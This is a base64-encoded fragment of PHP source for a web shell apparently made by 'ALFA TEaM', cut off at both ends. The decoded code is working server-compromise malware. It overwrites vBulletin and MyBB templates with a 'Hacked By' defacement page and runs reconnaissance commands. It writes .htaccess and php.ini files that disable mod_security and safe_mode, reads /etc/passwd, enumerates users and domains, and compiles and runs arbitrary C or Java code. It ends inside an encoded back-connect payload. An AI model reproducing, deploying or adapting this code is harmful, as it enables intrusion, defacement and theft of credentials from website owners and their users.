AiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsKJGxvbGkyID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nRk9SVU1IT01FJyI7CiRsb2xpMyA9ICJVUERBVEUgIi4kcHJlZml4LiJzdHlsZSBTRVQgY3NzPSciLiRzZXRfaW5kZXguIiIuJHMwbGV2aXNpYmxlLiInLCBzdHlsZXZhcnM9JycsIGNzc2NvbG9ycz0nJywgZWRpdG9yc3R5bGVzPScnIjsKQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkyKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgnVkIgaW5kZXggY2hhbmdlZC4uLiEnKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdteWJiJykpIHsKZWNobyBfX3ByZSgpOwoKZWNobyAiPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15YmIgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnbXliYicpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCwnbnVsbCcsJ215YmInLG51bGwsbnVsbCxudWxsLHRoaXMubXliYmRiaC52YWx1ZSx0aGlzLm15YmJkYnUudmFsdWUsdGhpcy5teWJiZGJuLnZhbHVlLHRoaXMubXliYmRicC52YWx1ZSx0aGlzLm15YmJpbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdteWJiZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRibicsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdteWJiZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPW15YmJpbmRleCByb3dzPScxOScgY29scz0nMTAzJz4KPHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JycgPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7CiRteWJiX2RiaCA9ICRfUE9TVFsnYWxmYTYnXTsKJG15YmJfZGJ1ID0gJF9QT1NUWydhbGZhNyddOwokbXliYl9kYm4gPSAkX1BPU1RbJ2FsZmE4J107CiRteWJiX2RicCA9ICRfUE9TVFsnYWxmYTknXTsKJG15YmJfaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOwppZighZW1wdHkoJG15YmJfZGJoKSYmIWVtcHR5KCRteWJiX2RidSkmJiFlbXB0eSgkbXliYl9kYm4pJiYhZW1wdHkoJG15YmJfaW5kZXgpKXsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRteWJiX2RiaCwkbXliYl9kYnUsJG15YmJfZGJwLCRteWJiX2Ribikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcHJlZml4PSJteWJiXyI7CiRsb2xpNyA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSciLiRteWJiX2luZGV4LiInIFdIRVJFIHRpdGxlPSdpbmRleCciOwokcmVzdWx0ID1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpNykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgnTXlCQiBpbmRleCBjaGFuZ2VkLi4uIScpOwp9Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXByb2MoKQp7CmFsZmFoZWFkKCk7CmVjaG8gIjxEaXYgY2xhc3M9aGVhZGVyPjxicj48Y2VudGVyPiI7CmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpCiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CiRwcm9jZXNzPWFycmF5KAoiVGFzayBMaXN0IiA9PiJ0YXNrbGlzdCAvViIsCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsCiJBY3RpdmUgQ29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiJSdW5uaW5nIFNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiJTaG93IENvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKKTt9ZWxzZXsKJHByb2Nlc3M9YXJyYXkoCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCiJTeXNsb2ciID0+ImNhdCAvZXRjL3N5c2xvZy5jb25mIiwKIlJlc29sdiIgPT4gImNhdCAvZXRjL3Jlc29sdi5jb25mIiwKIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsCiJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwKIlZlcnNpb24iPT4iY2F0IC9wcm9jL3ZlcnNpb24iLAoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwKIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLAoibHNhdHRyIj0+ImxzYXR0ciAtdmEiLAoiVXB0aW1lIj0+InVwdGltZSIsCiJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiCik7fQpmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKXsKZWNobyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ3Byb2NcJyxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsKfQplY2hvICI8L2NlbnRlcj48YnI+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewplY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgPiI7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0mJiFlbXB0eSgkX1BPU1RbImMiXSkpeyRjbWQgPSAiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7Ijt9CmVjaG8gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKZWNobyAnPC9wcmU+JzsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXNhZmUoKXsKYWxmYWhlYWQoKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQXV0byBCeVBhc3NlciB8PC9kaXY+IjsKZWNobyAnPGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhhcGFjaGUpIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsXCdwbFwnKSI+fCAuaHRhY2Nlc3MoTGl0ZVNwZWVkKSB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3Bhc3N3ZFwnKSI+fCBSZWFkLVBhc3N3ZCB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3VzZXJzXCcpIj58IFJlYWQtVXNlcnMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcpIj58IEdldC1Vc2VyIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZG9tYWluc1wnKSI+fCBHZXQtRG9tYWlucyB8IDwvYT48L2NlbnRlcj48L2gzPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE4J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgPT0gJ2RvbWFpbnMnKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRzb2xldmlzaWJsZTkgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJHNvbGV2aXNpYmxlOSkpewpmb3JlYWNoKCRzb2xldmlzaWJsZTkgYXMgJHNvbGV2aXNpYmxlMTMpewppZihAZXJlZ2koJ3pvbmUnLCRzb2xldmlzaWJsZTEzKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7CmlmKHN0cmxlbih0cmltKCRzb2xldmlzaWJsZTE0WzFdWzBdKSkgPiAyKXsKZWNobyAkc29sZXZpc2libGUxNFsxXVswXS4nPGJyPic7Cn19fQp9Cn1lbHNlewplY2hvIF9fcHJlKCk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKaWYoaXNfYXJyYXkoJHVzZXJzKSl7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokZG9tID0gZXhwbG9kZSgiOiIsJGJveik7CmVjaG8gJGRvbVswXS4iXG4iO319fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTYnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNiddKSA9PSAndmFsaWFzZXMnKXsKZWNobyAnCjxmb3JtIG9uc3VibWl0PSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJyx0aGlzLnNpdGUudmFsdWUsbnVsbCxcJz4+XCcpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIC8+PGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Vcmw6IDwvZm9udD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9InNpdGUuY29tIiBuYW1lPSJzaXRlIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTknXSkgJiYgJF9QT1NUWydhbGZhOSddID09ICc+PicpewppZighX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VyID0gIiI7CmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpKXsKCWlmKCR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMveyRyZXB9IikpKXsKCQkkdXNlciA9ICR1c2VyWyduYW1lJ107Cgl9Cn1lbHNlewoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJJHVzZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJHJlcCk7Cgl9Cn0KaWYoIWVtcHR5KCR1c2VyKSYmJHVzZXIhPSdyb290Jyl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXI6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyR1c2VyfTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+c2l0ZTogPC9iPjwvZm9udD48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj57JHJlcH08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlIHtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGI+Tm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSBPciBEaXNhYmxlIEZ1bmN0aW9ucyBpcyBub3QgTk9ORS4uLjwvYj48L2NlbnRlcj4nO30KfWVsc2V7CiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOwokcmVwID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHBzOi8vIiwiaHR0cDovLyIsInd3dy4iKSwiIiwkc2l0ZSk7CiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJGJveil7CiRleCA9IGV4cGxvZGUoIjoiLCRib3opOwppZigkZXhbMF0gPT0gJHJlcCl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiIudHJpbSgkZXhbMV0pLiI8L2ZvbnQ+PC9iPjwvdGQ+PC90cj4KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5zaXRlOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskcmVwfTwvZm9udD48L2I+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjticmVhazt9fX19fQppZighZW1wdHkoJF9QT1NUWydhbGZhNSddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE1J10pKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpewplY2hvIF9fcHJlKCk7CiRpID0gMDsKd2hpbGUgKCRpIDwgNjAwMDApIHsKJGxpbmUgPSBAcG9zaXhfZ2V0cHd1aWQoJGkpOwppZiAoIWVtcHR5KCRsaW5lKSkgewp3aGlsZSAobGlzdCAoJGtleSwgJHZsKSA9IGVhY2goJGxpbmUpKXsKZWNobyAkdmwuIlxuIjsKYnJlYWs7fX0kaSsrO30KfWVsc2V7ZWNobyBfX3ByZSgpOwokdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmZvcmVhY2goJHVzZXJzIGFzICRib3opewokdXNlciA9IGV4cGxvZGUoIjoiLCRib3opOwplY2hvIHRyaW0oJHVzZXJbMV0pLic8YnI+Jzt9fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNCddKSl7CmVjaG8gX19wcmUoKTsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7ZWNobyBfX3JlYWRfZmlsZSgiL2V0Yy9wYXNzd2QiKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CmZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspewokYXJhID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOwppZighZW1wdHkoJGFyYSkpewp3aGlsZShsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpewplY2hvICIkdmFsOiI7Cn1lY2hvICJcbiI7fX0KfWVsc2V7X19hbGVydCgnZmFpbGVkLi4uJyk7fX0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTInXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMiddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz5cblNlYy0tLS0tLUVuZ2luZSBPZmZcblNlYy0tLS0tLVNjYW5QT1NUIE9mZlxuPC9JZk1vZHVsZT4iKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPmh0YWNjZXNzIGZvciBBcGFjaGUgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSYmIGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpewpAX193cml0ZV9maWxlKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInNhZmVfbW9kZT1PRkZcbmRpc2FibGVfZnVuY3Rpb25zPUJ5UGFzc2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlKEFMRkEgVEVhTSkiKTsKZWNobyAnPGNlbnRlcj48Yj48YmlnPiBwaHAuaW5pIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhMyddKSl7CkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxGaWxlcyAqLnBocD5cbkZvcmNlVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocDRcbjwvRmlsZXM+XG48SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+XG5TZWNGaWx0ZXJFbmdpbmUgT2ZmXG5TZWNGaWx0ZXJTY2FuUE9TVCBPZmZcbjwvSWZNb2R1bGU+Iik7CmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgTGl0ZXNwZWVkIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7Cn0KZWNobyAiPGJyPjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2dldF9yZXNvdXJjZSgkY29udGVudCl7CnJldHVybiBAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkY29udGVudCkpOwp9CmZ1bmN0aW9uIF9fd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewppZigkZmggPSBAZm9wZW4oJGZpbGUsICJ3YiIpKXsKaWYoZndyaXRlKCRmaCwgJGNvbnRlbnQpIT09ZmFsc2UpIHJldHVybiB0cnVlOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBiY2luaXQoJGV2YWxUeXBlLCAkZXZhbENvZGUsICRldmFsT3B0aW9ucywgJGV2YWxBcmd1bWVudHMpewokcmVzID0gIjxmb250IGNvbG9yPSdncmVlbic+WyBTdWNjZXNzLi4uISBdPC9mb250PiI7CiRlcnIgPSAiPGZvbnQgY29sb3I9J3JlZCc+WyBGYWlsZWQuLi4hIF08L2ZvbnQ+IjsKaWYoJGV2YWxPcHRpb25zIT0iIikgJGV2YWxPcHRpb25zID0gJGV2YWxPcHRpb25zLiIgIjsKaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKaWYoJGV2YWxUeXBlPT0iYyIpewokdG1wZGlyID0gQUxGQV9URU1QRElSOwpjaGRpcigkdG1wZGlyKTsKaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewokdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOwokZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsKJHBhdGggPSAkZmlsZW5hbWU7CmlmKF9fd3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CiRleHQgPSAoJEdMT0JBTFNbJ3N5cyddPT0nd2luJyk/ICIuZXhlIjoiLm91dCI7CiRwYXRocmVzID0gJGZpbGVuYW1lLiRleHQ7CiRldmFsT3B0aW9ucyA9ICItbyAiLiRwYXRocmVzLiIgIi4kZXZhbE9wdGlvbnM7CiRjbWQgPSAiZ2NjICIuJGV2YWxPcHRpb25zLiRwYXRoOwphbGZhRXgoJGNtZCk7CmlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKJGNtZCA9ICRwYXRocmVzLiRldmFsQXJndW1lbnRzOwphbGZhRXgoJGNtZCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KdW5saW5rKCRwYXRocmVzKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGgpOwp9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn1lbHNlaWYoJGV2YWxUeXBlPT0iamF2YSIpewokdG1wZGlyID0gQUxGQV9URU1QRElSOwpjaGRpcigkdG1wZGlyKTsKaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewppZihwcmVnX21hdGNoKCIvY2xhc3NcIChbXntdKyl7L2kiLCRldmFsQ29kZSwgJHIpKXsKJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOwokZmlsZW5hbWUgPSAkY2xhc3NuYW1lOwp9ZWxzZXsKJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOwokZXZhbENvZGUgPSAiY2xhc3MgIi4kZmlsZW5hbWUuIiB7ICIuJGV2YWxDb2RlIC4gIiB9ICI7Cn0KJHBhdGggPSAkZmlsZW5hbWUuIi5qYXZhIjsKaWYoX193cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKYWxmYUV4KCRjbWQpOwokcGF0aHJlcyA9ICRmaWxlbmFtZS4iLmNsYXNzIjsKaWYoaXNfZmlsZSgkcGF0aHJlcykpewppZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpewokY21kID0gImphdmEgIi4kZmlsZW5hbWUuJGV2YWxBcmd1bWVudHM7CmFsZmFFeCgkY21kKTsKfWVsc2V7JHJlcyA9ICRlcnI7fQp1bmxpbmsoJHBhdGhyZXMpOwp9ZWxzZXskcmVzID0gJGVycjt9CnVubGluaygkcGF0aCk7Cn1lbHNleyRyZXMgPSAkZXJyO30KfQpyZXR1cm4gJHJlczsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWxmYWNvbm5lY3QoKXsKYWxmYWhlYWQoKTsKJHBocD0iN1ZadGE5c3dFUDVlNkg5UWphRTJTNXVYZmhnMHBEQllQdzdLVnRpSHRqT09MTmNpdHFWSjhwS3hwYjk5ZDM2TDR6aWQxN1d3UVYxd3JidlRvMGU2T3oxaFNnbmxLU2FGTWp5OWQwYnU5UEJBTStNWm5qQXY1Z2szaFUzTVBaN0ltRk51dkRET2RPU2cxVGErdW1kR2t4bGhLeG1MZ0RrV3NRYWt0T2NoRkwzanM3TzNPRmo2TUVpek9NWUJhdzUwQkFNTFVJQUp1Yjc4K0dHMk1rd2wwNnRQNDlueHJYMzErZjNGOGJSMGcyMDZuUE4wQ0pOT3VJWFRFNXo5UU43Rm9VK3VtWjhRSGJFNEpnL2s4QUQ5UENRT0ZWbHFuSXF5UzJaQXl5VS9EZzhJUExZRWdOSTNMVTA1STZzYUdSekJvZ0ZhMW9URm11MUJuWFNpNnB2UlhSTzVOby92dHBmdzZTSmZvbUFkWmlrMVhLUWVXM0Z0dEhNc2FXcGlMeFJxY2V3MkZ1SUJUTjc0OHZTZ0J6RUs3NHljNElZQnh6amp0cnUwajVwMktUUmZlVkFObWdlTzJ3RlFVa1RlMWRsc0dHSGF0VkdRQzA4THVvQ2Ewa3g5WThxeERKWG53K0hvTlA4N3Q4Z3AwSWVhWVVxbG92Z1A4eW9pRlVSWmt5S0R3OVlEY2xZenRlbk9RajZsVEdKY2N6Y1FZa1FzbHNCQVozTVlPVEtTWHBiNkNYUGNBUmtCcHB0djBscnlkTE1QZk1LbDRvWTVOZ1YyQ2RDRnRORWxIc2twc1M2c2FoRjhsaEdQR1o0b09RS2swSWNpMlVLcWl5TEUxQU5pYzNKOTdvcmRlNGx2YU9SWVF4cmNFdWZteTYyK2UrTU9PZllXbnBWUzdnNXVqaDFnR1lCN1UxVnRkSzY5Z0NzSElnR0NSdFYzUjdRdEFHdDdyNjJvVFJzWXhaUG1FZHV5UEV5c0ZvdjgvRW4yUm56TklNSWxjOGpnb29XUDZBVU5IeHI3Y29XVGtJaTFrNFRXeEdiR1JITnY2MFpXYVN3MGErV2dNdGFsVTJ4eGJ6VTA1OW9CMXJ5dmxQL2RHWkhaUmZscFNTNFpKTTVTRnRUWnVNT3hSTWVrMjdHMWdGVFk1RXBRVDBpV0FzdG9nS3RpVVhEWmpNU1VIRUdtRmRNaVV4VFlTcXlZN2Q3SHA5RmU4eGk2QjBVQXdlQ3lncDdvRlRudUhUbnBGVWxiUVdWUEdaWHQ5bEorUXpJUlloYXh5SXJ2Z3BYYlhWTzI4dXNzNVRtczlsQlNiSGRDelRGbUZPNFU1VVBrRWw4TVhxaGVYUzNNVTYreGd2TDNkQ3ZIbXdEZ2d5S082cTQyck9xdHlvck4yMUhyeHdqVTIrdkRvZzUrbkFwOUVvdkpuN0NZL0QyTGpsN1hYYjNlZVFFVXA3M1BNOTdyMlM2Z3ZGY3JiNjFwNitZUGlFbzlVZmEzMVRORU9Tc2FQU3J2ZlpiaWEwdi9ua25iOUxOcjIwN3VYcld0aWI5UDIrQUhhMTkxMHozVXJZZVE2VmNoZXhFaDAwOFNNdjBrSWRNdkxtUzY1K1d0L3ljaDAvK0VrUDJPUlY4aGUyb